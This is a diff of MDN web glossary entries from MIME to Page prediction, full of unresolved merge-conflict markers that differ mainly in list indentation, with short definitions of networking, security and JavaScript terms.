+-   [Properly Configuring Server MIME Types](/en-US/docs/Learn/Server-side/Configuring_server_MIME_types)
+-   Details information about the usage of [MIME Types](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) in a Web context.
+-   [Incomplete list of MIME types](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types)
+-   [MediaRecorder.mimeType](/en-US/docs/Web/API/MediaRecorder/mimeType)
+>>>>>>> master
 
 ---
 
 ## Term: mime
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Infrastructure
 - MIME
+=======
+-   Beginner
+-   Glossary
+-   Infrastructure
+-   MIME
+>>>>>>> master
 
 ---
 
@@ -8092,16 +12328,27 @@ See also [MIME-Type](/en-US/docs/Glossary/MIME_type)
 
 #### See also
 
+<<<<<<< HEAD
 - [MIME ](https://en.wikipedia.org/wiki/MIME)on Wikipedia
+=======
+-   [MIME ](https://en.wikipedia.org/wiki/MIME)on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: minification
 
+<<<<<<< HEAD
 - Glossary
 - Performance
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Performance
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -8115,8 +12362,13 @@ As minification makes code less legible to humans, developer tools have 'prettif
 
 ## Term: MitM
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -8126,6 +12378,7 @@ Comparing this to physical mail: If you're writing letters to each other, the ma
 
 In physical mail and in online communication, MITM attacks are tough to defend. A few tips:
 
+<<<<<<< HEAD
 - Don't just ignore certificate warnings. You could be connecting to a phishing server or an imposter server.
 - Sensitive sites without HTTPS encryption on public Wi-Fi networks aren't trustworthy.
 - Check for HTTPS in your address bar and ensure encryption is in-place before logging in.
@@ -8136,16 +12389,36 @@ In physical mail and in online communication, MITM attacks are tough to defend.
 - PortSwigger: [Latest manipulator-in-the-middle attacks news](https://portswigger.net/daily-swig/mitm)
 - Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)
 - The _HTTPHeader("Public-Key-Pins"_) header (_Glossary("HPKP"_)) can significantly decrease the risk of MITM by instructing browsers to require an allowlisted certificate for all subsequent connections to that website.
+=======
+-   Don't just ignore certificate warnings. You could be connecting to a phishing server or an imposter server.
+-   Sensitive sites without HTTPS encryption on public Wi-Fi networks aren't trustworthy.
+-   Check for HTTPS in your address bar and ensure encryption is in-place before logging in.
+
+#### See also
+
+-   OWASP: [Manipulator-in-the-middle attack](https://owasp.org/www-community/attacks/Manipulator-in-the-middle_attack)
+-   PortSwigger: [Latest manipulator-in-the-middle attacks news](https://portswigger.net/daily-swig/mitm)
+-   Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)
+-   The _HTTPHeader("Public-Key-Pins"_) header (_Glossary("HPKP"_)) can significantly decrease the risk of MITM by instructing browsers to require an allowlisted certificate for all subsequent connections to that website.
+>>>>>>> master
 
 ---
 
 ## Term: Mixin
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Method
 - Mixin
 - Property
+=======
+-   CodingScripting
+-   Glossary
+-   Method
+-   Mixin
+-   Property
+>>>>>>> master
 
 ---
 
@@ -8159,16 +12432,27 @@ For example, the `WindowOrWorkerGlobalScope` mixin is used to provide methods an
 
 #### See also
 
+<<<<<<< HEAD
 - [Mixin](https://en.wikipedia.org/wiki/Mixin) on Wikipedia
+=======
+-   [Mixin](https://en.wikipedia.org/wiki/Mixin) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Mobile First
 
+<<<<<<< HEAD
 - Design
 - Glossary
 - Layout
 - Layout mobile
+=======
+-   Design
+-   Glossary
+-   Layout
+-   Layout mobile
+>>>>>>> master
 
 ---
 
@@ -8178,8 +12462,13 @@ For example, the `WindowOrWorkerGlobalScope` mixin is used to provide methods an
 
 ## Term: Modem
 
+<<<<<<< HEAD
 - Infrastructure
 - Navigation
+=======
+-   Infrastructure
+-   Navigation
+>>>>>>> master
 
 ---
 
@@ -8191,14 +12480,23 @@ Modems are different from _Glossary("Router","routers"_), but many companies sel
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Modem"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Modem"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Modularity
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8206,18 +12504,31 @@ Modems are different from _Glossary("Router","routers"_), but many companies sel
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Modularity"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Modularity"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Mozilla Firefox
 
+<<<<<<< HEAD
 - Browser
 - Firefox
 - Glossary
 - Infrastructure
 - Mozilla
 - Mozilla Firefox
+=======
+-   Browser
+-   Firefox
+-   Glossary
+-   Infrastructure
+-   Mozilla
+-   Mozilla Firefox
+>>>>>>> master
 
 ---
 
@@ -8227,16 +12538,27 @@ First released in November 2004, Firefox is completely customizable with themes,
 
 #### See also
 
+<<<<<<< HEAD
 - [Mozilla Firefox official website](https://www.mozilla.org/firefox)
 - [Firefox developer documentations](/en-US/docs/Mozilla/Firefox) on MDN
+=======
+-   [Mozilla Firefox official website](https://www.mozilla.org/firefox)
+-   [Firefox developer documentations](/en-US/docs/Mozilla/Firefox) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Mutable
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -8268,17 +12590,29 @@ On appending the "immutableString" with a string value, following events occur:
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Immutable object"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Immutable object"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: MVC
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Intro
 - MVC
 - Model View Controller
+=======
+-   Glossary
+-   Infrastructure
+-   Intro
+-   MVC
+-   Model View Controller
+>>>>>>> master
 
 ---
 
@@ -8326,15 +12660,25 @@ Web frameworks such as [AngularJS](https://en.wikipedia.org/wiki/AngularJS) and
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Model-view-controller"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Model-view-controller"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Namespace
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Operating System
+=======
+-   CodingScripting
+-   Glossary
+-   Operating System
+>>>>>>> master
 
 ---
 
@@ -8344,16 +12688,27 @@ In an operating system a directory is a namespace. Each file or subdirectory has
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Namespace"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Namespace"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: NaN
 
+<<<<<<< HEAD
 - CodingScripting
 - Computing
 - Glossary
 - NaN
+=======
+-   CodingScripting
+-   Computing
+-   Glossary
+-   NaN
+>>>>>>> master
 
 ---
 
@@ -8365,18 +12720,31 @@ Practically speaking, if I divide two variables in a _glossary("JavaScript"_) pr
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "NaN"_) on Wikipedia
 - [NaN in JavaScript](/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)
+=======
+-   _Interwiki("wikipedia", "NaN"_) on Wikipedia
+-   [NaN in JavaScript](/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)
+>>>>>>> master
 
 ---
 
 ## Term: NAT
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Infrastructure
 - WebMechanics
 - WebRTC
+=======
+-   Beginner
+-   Glossary
+-   Infrastructure
+-   WebMechanics
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -8384,15 +12752,25 @@ Practically speaking, if I divide two variables in a _glossary("JavaScript"_) pr
 
 #### See also
 
+<<<<<<< HEAD
 - [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
 - _interwiki("wikipedia", "NAT"_) on Wikipedia
+=======
+-   [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
+-   _interwiki("wikipedia", "NAT"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Native
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8404,15 +12782,25 @@ On the other hand, a Web App that runs inside a browser is not native — it is
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Native (computing)"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Native (computing)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Navigation directive
 
+<<<<<<< HEAD
 - CSP
 - HTTP
 - Security
+=======
+-   CSP
+-   HTTP
+-   Security
+>>>>>>> master
 
 ---
 
@@ -8424,6 +12812,7 @@ See [Navigation directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
 
 #### See also
 
+<<<<<<< HEAD
 - <https://www.w3.org/TR/CSP/#directives-navigation>
 - Other kinds of directives:
 
@@ -8436,16 +12825,38 @@ See [Navigation directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
     - [`trusted-types`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types)
 
 - _HTTPHeader("Content-Security-Policy"_)
+=======
+-   <https://www.w3.org/TR/CSP/#directives-navigation>
+-   Other kinds of directives:
+
+    -   _Glossary("Fetch directive"_)
+    -   _Glossary("Document directive"_)
+    -   _Glossary("Reporting directive"_)
+    -   [`block-all-mixed-content`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content)
+    -   [`upgrade-insecure-requests`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests)
+    -   [`require-sri-for`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for)
+    -   [`trusted-types`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types)
+
+-   _HTTPHeader("Content-Security-Policy"_)
+>>>>>>> master
 
 ---
 
 ## Term: Netscape Navigator
 
+<<<<<<< HEAD
 - Browser
 - Glossary
 - Navigation
 - Netscape
 - Netscape Navigator
+=======
+-   Browser
+-   Glossary
+-   Navigation
+-   Netscape
+-   Netscape Navigator
+>>>>>>> master
 
 ---
 
@@ -8455,17 +12866,29 @@ Netscape helped make the _glossary("World Wide Web","Web"_) graphical rather tha
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Netscape Navigator"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Netscape Navigator"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Network throttling
 
+<<<<<<< HEAD
 - Glossary
 - RUM
 - Reference
 - Synthetic monitoring
 - Web Performance
+=======
+-   Glossary
+-   RUM
+-   Reference
+-   Synthetic monitoring
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -8477,14 +12900,23 @@ Browser developer tools generally have network throttling options, to allow you
 
 #### See also
 
+<<<<<<< HEAD
 - [Synthetic monitoring](/en-US/docs/Glossary/Synthetic_monitoring)
+=======
+-   [Synthetic monitoring](/en-US/docs/Glossary/Synthetic_monitoring)
+>>>>>>> master
 
 ---
 
 ## Term: Node (networking)
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -8492,14 +12924,23 @@ Browser developer tools generally have network throttling options, to allow you
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Node (networking)", "Node"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Node (networking)", "Node"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: NNTP
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -8507,17 +12948,29 @@ Browser developer tools generally have network throttling options, to allow you
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Network_News_Transfer_Protocol", "NNTP"_) at Wikipedia
 - From the IETF: [RFC 3977 about NNTP](https://datatracker.ietf.org/doc/html/rfc3977) (2006)
+=======
+-   _Interwiki("wikipedia", "Network_News_Transfer_Protocol", "NNTP"_) at Wikipedia
+-   From the IETF: [RFC 3977 about NNTP](https://datatracker.ietf.org/doc/html/rfc3977) (2006)
+>>>>>>> master
 
 ---
 
 ## Term: Node.js
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - JavaScript
 - node.js
+=======
+-   Glossary
+-   Infrastructure
+-   JavaScript
+-   node.js
+>>>>>>> master
 
 ---
 
@@ -8529,18 +12982,31 @@ Browser developer tools generally have network throttling options, to allow you
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("Wikipedia", "Node.js"_) on Wikipedia
 - [Node.js website](https://nodejs.org/)
 - [API reference documentation](https://nodejs.org/api/)
 - [Tutorials](https://nodejs.org/documentation/tutorials/)
 - [npm Documentation](https://docs.npmjs.com/)
+=======
+-   _Interwiki("Wikipedia", "Node.js"_) on Wikipedia
+-   [Node.js website](https://nodejs.org/)
+-   [API reference documentation](https://nodejs.org/api/)
+-   [Tutorials](https://nodejs.org/documentation/tutorials/)
+-   [npm Documentation](https://docs.npmjs.com/)
+>>>>>>> master
 
 ---
 
 ## Term: Node
 
+<<<<<<< HEAD
 - Disambiguation
 - Glossary
+=======
+-   Disambiguation
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8554,10 +13020,17 @@ Another use of the word is when talking about _Glossary("Node.js"_)
 
 ## Term: non-normative
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Specification
 - Standardization
+=======
+-   Glossary
+-   Infrastructure
+-   Specification
+-   Standardization
+>>>>>>> master
 
 ---
 
@@ -8565,16 +13038,27 @@ Another use of the word is when talking about _Glossary("Node.js"_)
 
 #### See also
 
+<<<<<<< HEAD
 - Description of [normative and informative content](https://wiki.whatwg.org/wiki/Specs/howto#Content) in WHATWG wiki
+=======
+-   Description of [normative and informative content](https://wiki.whatwg.org/wiki/Specs/howto#Content) in WHATWG wiki
+>>>>>>> master
 
 ---
 
 ## Term: Normative
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Specification
 - Standardization
+=======
+-   Glossary
+-   Infrastructure
+-   Specification
+-   Standardization
+>>>>>>> master
 
 ---
 
@@ -8582,14 +13066,23 @@ Another use of the word is when talking about _Glossary("Node.js"_)
 
 #### See also
 
+<<<<<<< HEAD
 - Description of [normative and informative content](https://wiki.whatwg.org/wiki/Specs/howto#Content) in WHATWG wiki
+=======
+-   Description of [normative and informative content](https://wiki.whatwg.org/wiki/Specs/howto#Content) in WHATWG wiki
+>>>>>>> master
 
 ---
 
 ## Term: 'Null'
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8600,11 +13093,16 @@ In _Glossary("JavaScript"_), `null` is marked as one of the _Glossary("Primitive
 But in certain cases, `null` is not as "primitive" as it first seems! Every Object is derived from `null` value, and therefore `typeof` operator returns `object` for it:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 typeof null === 'object'; // true
 ```
 
 #### See also
 
+<<<<<<< HEAD
 - [JavaScript data types](/en-US/docs/Web/JavaScript/Data_structures)
 - The JavaScript global object: _jsxref("null"_)
 - _Interwiki("wikipedia", "Null pointer"_) on Wikipedia
@@ -8618,16 +13116,39 @@ typeof null === 'object'; // true
     - _Glossary("null"_)
     - _Glossary("undefined"_)
     - _Glossary("symbol"_)
+=======
+-   [JavaScript data types](/en-US/docs/Web/JavaScript/Data_structures)
+-   The JavaScript global object: _jsxref("null"_)
+-   _Interwiki("wikipedia", "Null pointer"_) on Wikipedia
+-   **[Glossary](/en-US/docs/Glossary)**
+
+    -   _Glossary("JavaScript"_)
+    -   _Glossary("string"_)
+    -   _Glossary("number"_)
+    -   _Glossary("bigint"_)
+    -   _Glossary("boolean"_)
+    -   _Glossary("null"_)
+    -   _Glossary("undefined"_)
+    -   _Glossary("symbol"_)
+>>>>>>> master
 
 ---
 
 ## Term: Nullish value
 
+<<<<<<< HEAD
 - Glossary
 - JavaScript
 - 'Null'
 - Primitive
 - undefined
+=======
+-   Glossary
+-   JavaScript
+-   'Null'
+-   Primitive
+-   undefined
+>>>>>>> master
 
 ---
 
@@ -8637,9 +13158,15 @@ typeof null === 'object'; // true
 
 ## Term: Number
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -8647,6 +13174,7 @@ typeof null === 'object'; // true
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Data type#Numeric_types", "Numeric types"_) on Wikipedia
 - The JavaScript type: [`Number`](/en-US/docs/Web/JavaScript/Data_structures#number_type)
 - The JavaScript global object _jsxref("Number"_)
@@ -8654,13 +13182,27 @@ typeof null === 'object'; // true
 
     - _Glossary("JavaScript"_)
     - _Glossary("Primitive"_)
+=======
+-   _Interwiki("wikipedia", "Data type#Numeric_types", "Numeric types"_) on Wikipedia
+-   The JavaScript type: [`Number`](/en-US/docs/Web/JavaScript/Data_structures#number_type)
+-   The JavaScript global object _jsxref("Number"_)
+-   [Glossary:](/en-US/docs/Glossary)
+
+    -   _Glossary("JavaScript"_)
+    -   _Glossary("Primitive"_)
+>>>>>>> master
 
 ---
 
 ## Term: Object reference
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8670,16 +13212,27 @@ The concept of object references becomes clear when assigning the same object to
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Reference (computer science)"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Reference (computer science)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Object
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Intro
 - Object
+=======
+-   CodingScripting
+-   Glossary
+-   Intro
+-   Object
+>>>>>>> master
 
 ---
 
@@ -8691,16 +13244,27 @@ There are two types of object properties: The [_data_ property](/en-US/docs/Web/
 
 #### See also
 
+<<<<<<< HEAD
 - [Detailed explanation of JavaScript objects](/en-US/docs/Web/JavaScript/Data_structures#objects) in the [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures) article
 - _jsxref("Object"_) in the [JavaScript reference](/en-US/docs/Web/JavaScript/Reference)
+=======
+-   [Detailed explanation of JavaScript objects](/en-US/docs/Web/JavaScript/Data_structures#objects) in the [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures) article
+-   _jsxref("Object"_) in the [JavaScript reference](/en-US/docs/Web/JavaScript/Reference)
+>>>>>>> master
 
 ---
 
 ## Term: OOP
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8710,16 +13274,27 @@ _glossary("JavaScript"_) is heavily object-oriented. It follows a **prototype**-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Object-oriented programming"_) on Wikipedia
 - [Introduction to object-oriented JavaScript](/en-US/docs/Learn/JavaScript/Objects)
+=======
+-   _Interwiki("wikipedia", "Object-oriented programming"_) on Wikipedia
+-   [Introduction to object-oriented JavaScript](/en-US/docs/Learn/JavaScript/Objects)
+>>>>>>> master
 
 ---
 
 ## Term: OpenGL
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - OpenGL
+=======
+-   CodingScripting
+-   Glossary
+-   OpenGL
+>>>>>>> master
 
 ---
 
@@ -8727,15 +13302,25 @@ _glossary("JavaScript"_) is heavily object-oriented. It follows a **prototype**-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "OpenGL"_) on Wikipedia
 - [OpenGL](https://www.opengl.org/)
+=======
+-   _Interwiki("wikipedia", "OpenGL"_) on Wikipedia
+-   [OpenGL](https://www.opengl.org/)
+>>>>>>> master
 
 ---
 
 ## Term: OpenSSL
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -8743,18 +13328,31 @@ _glossary("JavaScript"_) is heavily object-oriented. It follows a **prototype**-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "OpenSSL"_) on Wikipedia
 - [Official website](https://www.openssl.org/)
+=======
+-   _Interwiki("wikipedia", "OpenSSL"_) on Wikipedia
+-   [Official website](https://www.openssl.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Opera Browser
 
+<<<<<<< HEAD
 - Browser
 - Glossary
 - Navigation
 - Opera
 - Opera Browser
+=======
+-   Browser
+-   Glossary
+-   Navigation
+-   Opera
+-   Opera Browser
+>>>>>>> master
 
 ---
 
@@ -8762,15 +13360,25 @@ _glossary("JavaScript"_) is heavily object-oriented. It follows a **prototype**-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Opera Browser"_) on Wikipedia
 - [Opera browser web site](https://www.opera.com/)
+=======
+-   _Interwiki("wikipedia", "Opera Browser"_) on Wikipedia
+-   [Opera browser web site](https://www.opera.com/)
+>>>>>>> master
 
 ---
 
 ## Term: Operand
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8778,14 +13386,23 @@ _glossary("JavaScript"_) is heavily object-oriented. It follows a **prototype**-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Operand"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Operand"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Operator
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8793,17 +13410,29 @@ _glossary("JavaScript"_) is heavily object-oriented. It follows a **prototype**-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Operator (computer programming)"_) on Wikipedia
 - [JavaScript operators](/en-US/docs/Web/JavaScript/Reference/Operators)
+=======
+-   _Interwiki("wikipedia", "Operator (computer programming)"_) on Wikipedia
+-   [JavaScript operators](/en-US/docs/Web/JavaScript/Reference/Operators)
+>>>>>>> master
 
 ---
 
 ## Term: Origin
 
+<<<<<<< HEAD
 - Glossary
 - Security
 - WebMechanics
 - origin
+=======
+-   Glossary
+-   Security
+-   WebMechanics
+-   origin
+>>>>>>> master
 
 ---
 
@@ -8815,6 +13444,7 @@ Some operations are restricted to same-origin content, and this restriction can
 
 These are same origin because they have the same scheme (`http`) and hostname (`example.com`), and the different file path does not matter:
 
+<<<<<<< HEAD
 - `http://example.com/app1/index.html`
 - `http://example.com/app2/index.html`
 
@@ -8844,17 +13474,57 @@ These are not same origin because they use different ports:
 - [Same-origin policy](/en-US/docs/Web/Security/Same-origin_policy)
 - _Glossary("Site"_)
 - [HTML specification: origin](https://html.spec.whatwg.org/multipage/origin.html#origin)
+=======
+-   `http://example.com/app1/index.html`
+-   `http://example.com/app2/index.html`
+
+These are same origin because a server delivers HTTP content through port 80 by default:
+
+-   `http://Example.com:80`
+-   `http://example.com`
+
+These are not same origin because they use different schemes:
+
+-   `http://example.com/app1`
+-   `https://example.com/app2`
+
+These are not same origin because they use different hostnames:
+
+-   `http://example.com`
+-   `http://www.example.com`
+-   `http://myapp.example.com`
+
+These are not same origin because they use different ports:
+
+-   `http://example.com`
+-   `http://example.com:8080`
+
+#### See also
+
+-   [Same-origin policy](/en-US/docs/Web/Security/Same-origin_policy)
+-   _Glossary("Site"_)
+-   [HTML specification: origin](https://html.spec.whatwg.org/multipage/origin.html#origin)
+>>>>>>> master
 
 ---
 
 ## Term: OTA
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Intro
 - OTA
 - Over the air
 - updates
+=======
+-   Glossary
+-   Infrastructure
+-   Intro
+-   OTA
+-   Over the air
+-   updates
+>>>>>>> master
 
 ---
 
@@ -8862,14 +13532,23 @@ These are not same origin because they use different ports:
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Over-the-air programming"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Over-the-air programming"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: OWASP
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -8877,16 +13556,27 @@ These are not same origin because they use different ports:
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.owasp.org)
+=======
+-   [Official website](https://www.owasp.org)
+>>>>>>> master
 
 ---
 
 ## Term: P2P
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Networking
 - P2P
+=======
+-   Glossary
+-   Infrastructure
+-   Networking
+-   P2P
+>>>>>>> master
 
 ---
 
@@ -8894,14 +13584,23 @@ These are not same origin because they use different ports:
 
 #### See also
 
+<<<<<<< HEAD
 - [P2P](https://en.wikipedia.org/wiki/Peer-to-peer) on Wikipedia
+=======
+-   [P2P](https://en.wikipedia.org/wiki/Peer-to-peer) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: PAC
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8909,9 +13608,14 @@ These are not same origin because they use different ports:
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function FindProxyForURL(url, host) {
     /* ... */
@@ -8924,13 +13628,19 @@ See [Proxy Auto-Configuration (PAC) file](/en-US/docs/Web/HTTP/Proxy_servers_and
 
 #### See also
 
+<<<<<<< HEAD
 - [PAC](https://en.wikipedia.org/wiki/Proxy_auto-config 'Read about PAC files on Wikipedia') on Wikipedia
 - [Proxy Auto-Configuration file](/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file) on MDN
+=======
+-   [PAC](https://en.wikipedia.org/wiki/Proxy_auto-config 'Read about PAC files on Wikipedia') on Wikipedia
+-   [Proxy Auto-Configuration file](/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Packet
 
+<<<<<<< HEAD
 - Glossary
 - Network packet
 - Packet
@@ -8938,6 +13648,15 @@ See [Proxy Auto-Configuration (PAC) file](/en-US/docs/Web/HTTP/Proxy_servers_and
 - TCP
 - Web Performance
 - payload
+=======
+-   Glossary
+-   Network packet
+-   Packet
+-   Reference
+-   TCP
+-   Web Performance
+-   payload
+>>>>>>> master
 
 ---
 
@@ -8971,25 +13690,43 @@ Payload is the data that is carried on behalf of an application. It is usually o
 
 ## References used
 
+<<<<<<< HEAD
 - <https://en.wikipedia.org/wiki/Network_packet>
 - [https://en.m.wikipedia.org/wiki/Hop\_(networking)](<https://en.wikipedia.org/wiki/Hop_(networking)>)
 - <https://www.techradar.com/news/computing/how-error-detection-and-correction-works-1080736>
+=======
+-   <https://en.wikipedia.org/wiki/Network_packet>
+-   [https://en.m.wikipedia.org/wiki/Hop\_(networking)](<https://en.wikipedia.org/wiki/Hop_(networking)>)
+-   <https://www.techradar.com/news/computing/how-error-detection-and-correction-works-1080736>
+>>>>>>> master
 
 ---
 
 ## Term: Page load time
 
+<<<<<<< HEAD
 - Glossary
 - Timings
 - Web Performance
 - metrics
 - page load time
+=======
+-   Glossary
+-   Timings
+-   Web Performance
+-   metrics
+-   page load time
+>>>>>>> master
 
 ---
 
 > **Page load time** is the time it takes for a page to load, measured from [navigation start](/en-US/docs/Web/API/PerformanceTiming/navigationStart) to the [start of the load event](/en-US/docs/Web/API/PerformanceTiming/loadEventStart).
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let time = performance.timing;
 
 let pageloadtime = time.loadEventStart - time.navigationStart;
@@ -8999,18 +13736,31 @@ While page load time 'sounds' like the perfect web performance metric, it isn't.
 
 #### See also
 
+<<<<<<< HEAD
 - [Navigation and resource timing](/en-US/docs/Web/Performance/Navigation_and_resource_timings)
 - _domxref("PerformanceNavigationTiming"_)
 - _domxref("PerformanceResourceTiming"_),
+=======
+-   [Navigation and resource timing](/en-US/docs/Web/Performance/Navigation_and_resource_timings)
+-   _domxref("PerformanceNavigationTiming"_)
+-   _domxref("PerformanceResourceTiming"_),
+>>>>>>> master
 
 ---
 
 ## Term: Page prediction
 
+<<<<<<< HEAD
 - Glossary
 - Security
 - Web Performance
 - page prediction
+=======
+-   Glossary
+-   Security
+-   Web Performance
+-   page prediction
+>>>>>>> master
 
 ---
 
@@ -9022,16 +13772,27 @@ Although browser page prediction and prediction services enable faster page load
 
 #### See also
 
+<<<<<<< HEAD
 - [prerender](/en-US/docs/Glossary/prerender)
 - [prefetch](/en-US/docs/Glossary/Prefetch)
+=======
+-   [prerender](/en-US/docs/Glossary/prerender)
+-   [prefetch](/en-US/docs/Glossary/Prefetch)
